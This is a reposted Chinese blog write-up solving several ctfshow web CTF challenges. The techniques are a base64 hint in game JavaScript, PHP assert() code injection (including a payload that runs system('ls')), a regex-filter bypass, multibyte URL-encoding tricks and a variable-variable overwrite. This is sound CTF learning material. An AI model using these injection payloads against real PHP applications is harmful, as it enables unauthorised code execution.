(WEB)TapTapTap-ctfshow 【js代码】 这道题跟WEB其实没啥关系。 网页游戏类的题目直接查看其源代码。 在JS文件中找到一串BASE64编码的字符串。 结合前面的语句
这道题跟WEB其实没啥关系。
网页游戏类的题目直接查看其源代码。
在JS文件中找到一串BASE64编码的字符串。
结合前面的语句,当游戏关数达到20关以上时,会显示一个提示,内容就是这个。
base解码出来:
直接访问这个/secret_path_you_do_not_know/secretfile.txt
题目:
PHPhighlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } }
Assert函数可以执行里面的代码,这里可以提前闭合并注释后面的即可绕过。
pyload:
?num=114514);%23
2种其它写法(官方WP):
?num=114514);(19199810?num=114514)==1%20or%20system(%27ls%27);%23
题目:
highlight_file(__FILE__); include "flag.php"; if (isset($_GET['num'])){ if ($_GET['num'] == 114514 && check($_GET['num'])){ assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!"); echo $flag; } } function check($str){ return !preg_match("/[a-z]|\;|\(|\)/",$str);
和前一题相比增加了过滤,无法使用闭合了:
解法:使用加法运算。
payload:
?num=114514+1805296//加号要使用url编码,即:?num=114514%2B1805296
题目:
highlight_file(__FILE__);include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){ if (strlen($_GET[$i])>1){ die("你太长了!!"); } else{ $result=$result.$_GET[$i]; }}if ($result ==="大牛"){ echo $flag;}
中文的url编码长度为3,比如
大的URL编码是:%E5%A4%A7
牛的URL编码是:%E7%89%9B
而第九行代码限制我们一次传值的长度只能为1,于是payload:
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
题目:
include "flag.php";highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){ $$key=$$value;}if ($flag=="000000000000000000000000000000"){ echo "好多零";}else{ echo "没有零,仔细看看输入有什么问题吧"; var_dump($_GET);}
把flag赋值给_GET就可以了:
?_GET=flag
来源地址:https://blog.csdn.net/weixin_40103894/article/details/127912832
--结束END--
本文标题: 2022CTFSHOW菜狗杯部分题目(四)
本文链接: https://lsjlt.com/news/406842.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0